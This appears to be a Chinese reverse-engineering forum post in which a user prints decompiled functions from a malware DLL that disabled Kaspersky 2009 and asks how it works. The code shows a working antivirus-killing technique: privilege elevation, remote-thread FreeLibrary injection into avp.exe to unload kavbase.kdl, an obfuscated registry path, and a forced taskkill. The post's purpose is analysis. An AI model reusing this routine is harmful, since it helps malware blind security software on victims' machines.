今天朋友机器中毒,他机器上的卡巴2009是我给他装上的,居然被病毒干了,
具体的exe样本没找到,就找到了DLL文件,想分析下他是怎么做的。提取了相关的子函数如下
HMODULE __cdecl sub_100010C0(DWORD th32ProcessID, LPCSTR lpString2)
{
HMODULE v2; // ebp@1
void *v3; // esi@1
const CHAR *v4; // edi@2
HANDLE v6; // eax@1
MODULEENTRY32 me; // [sp+10h] [bp-224h]@1
v2 = 0;
memset(&me.th32ModuleID, 0, 0x220u);
v6 = CreateToolhelp32Snapshot(8u, th32ProcessID);
v3 = v6;
me.dwSize = 548;
if ( Module32First(v6, &me) )
{
v4 = lpString2;
if ( lstrcmpiA(me.szExePath, lpString2) )
{
while ( Module32Next(v3, &me) )
{
if ( !lstrcmpiA(me.szExePath, v4) )
goto LABEL_5;
}
}
else
{
LABEL_5:
v2 = me.hModule;
}
}
CloseHandle(v3);
return v2;
}
//----- (10001160) --------------------------------------------------------
char __cdecl sub_10001160(DWORD dwProcessId, LPVOID lpParameter)
{
void *v2; // esi@1
char result; // al@2
void *v4; // edi@3
HANDLE v5; // eax@5
void *v6; // esi@5
HANDLE v7; // eax@3
HMODULE v8; // eax@5
DWORD (__stdcall *v9)(LPVOID); // eax@5
v2 = lpParameter;
if ( lpParameter )
{
v7 = OpenProcess(0x2Au, 0, dwProcessId);
v4 = v7;
if ( v7 )
{
v8 = GetModuleHandleA("kernel32.dll");
v9 = (DWORD (__stdcall *)(LPVOID))GetProcAddress(v8, "FreeLibrary");
v5 = CreateRemoteThread(v4, 0, 0, v9, v2, 0, 0);
v6 = v5;
if ( v5 )
{
WaitForSingleObject(v5, 0xFFFFFFFFu);
CloseHandle(v4);
CloseHandle(v6);
result = 1;
}
else
{
CloseHandle(v4);
result = 0;
}
}
else
{
result = 0;
}
}
else
{
result = 0;
}
return result;
}
//----- (100011E0) --------------------------------------------------------
char __cdecl sub_100011E0(LPCSTR lpString2)
{
HANDLE v1; // esi@1
HMODULE v2; // eax@3
void *v3; // esi@3
HANDLE v5; // eax@1
char v6; // [sp+7h] [bp-12Dh]@1
PROCESSENTRY32 pe; // [sp+Ch] [bp-128h]@1
HANDLE hSnapshot; // [sp+8h] [bp-12Ch]@1
v6 = 0;
pe.dwSize = 296;
v5 = CreateToolhelp32Snapshot(2u, 0);
v1 = v5;
hSnapshot = v5;
if ( Process32First(v5, &pe) )
{
do
{
if ( !_strcmpi("avp.exe", pe.szExeFile) )
{
v2 = sub_100010C0(pe.th32ProcessID, lpString2);
v3 = v2;
if ( v2 )
{
sub_10001160(pe.th32ProcessID, v2);
Sleep(0x64u);
sub_10001160(pe.th32ProcessID, v3);
Sleep(0x64u);
v6 = sub_10001160(pe.th32ProcessID, v3);
ShellExecuteA(0, 0, "taskkill", "/f /t /im avp.exe", 0, 0);
MessageBoxA((HWND)0xFFFFFFFA, "zzz", "ccc", 0);
}
}
v1 = hSnapshot;
}
while ( Process32Next(hSnapshot, &pe) );
}
CloseHandle(v1);
return v6;
}
/*
int __cdecl sub_10001000(const char *a1)
{
int result; // eax@1
unsigned int v2; // edx@1
const char *v3; // esi@1
v3 = a1;
result = 0;
v2 = 0;
if ( strlen(a1) != 1 )
{
do
{
result = 0;
v3[v2] += 2 * ((_BYTE)v2 - 33);
++v2;
}
while ( v2 < strlen(v3) - 1 );
}
v3[v2] = 0;
return result;
}
*/
char __cdecl sub_10001040(LPCSTR lpName, int a2)
{
HANDLE v3; // eax@1
HANDLE hObject; // [sp+0h] [bp-14h]@1
struct _TOKEN_PRIVILEGES NewState; // [sp+4h] [bp-10h]@2
v3 = GetCurrentProcess();
if ( OpenProcessToken(v3, 0x28u, &hObject) )
{
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Attributes = -(a2 != 0) & 2;
LookupPrivilegeValueA(0, lpName, (struct _LUID *)NewState.Privileges);
AdjustTokenPrivileges(hObject, 0, &NewState, 0x10u, 0, 0);
GetLastError();
CloseHandle(hObject);
}
return 0;
}
/*
int __cdecl sub_100012F0()
{
UINT v0; // eax@1
BYTE String2; // [sp+154h] [bp-204h]@1
DWORD cchValueName; // [sp+14h] [bp-344h]@1
const CHAR SubKey; // [sp+1Ch] [bp-33Ch]@1
DWORD cbData; // [sp+10h] [bp-348h]@1
HKEY hKey; // [sp+8h] [bp-350h]@1
HKEY phkResult; // [sp+Ch] [bp-34Ch]@2
CHAR ValueName; // [sp+258h] [bp-100h]@3
DWORD Type; // [sp+18h] [bp-340h]@3
CHAR String1; // [sp+50h] [bp-308h]@4
memset(&String2, 0, 0x104u);
cchValueName = 256;
memcpy((void *)&SubKey, "晱剱憏坹巤彑殟槜崣j}|t唵亜so~mj`CVN4V;A5:E;H6IYX5ER", 0x34u);
cbData = 260;
sub_10001000(&SubKey);
v0 = RegOpenKeyA(HKEY_LOCAL_MACHINE, 0, &hKey);
if ( !v0 )
{
MessageBoxA((HWND)0xFFFFFFFA, "zzz", "ccc", v0);
if ( !RegOpenKeyExA(hKey, &SubKey, 0, 0xF003Fu, &phkResult) )
RegEnumValueA(phkResult, 0, &ValueName, &cchValueName, 0, &Type, &String2, &cbData);
}
RegCloseKey(phkResult);
RegCloseKey(hKey);
memset(&String1, 0, 0x104u);
lstrcpyA(&String1, (const CHAR *)&String2);
lstrcatA(&String1, "kavbase.kdl");
sub_10001040("SeDebugPrivilege", 1);
if ( sub_100011E0(&String1) )
sub_10001040("SeDebugPrivilege", 0);
return 0;
}
还是不明白怎么实现的,前提是他修复了SSDT表了,好象。
kavbase.kdl,这个文件我很郁闷,查了下,居然是K8的病毒库里的,居然也能被利用
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)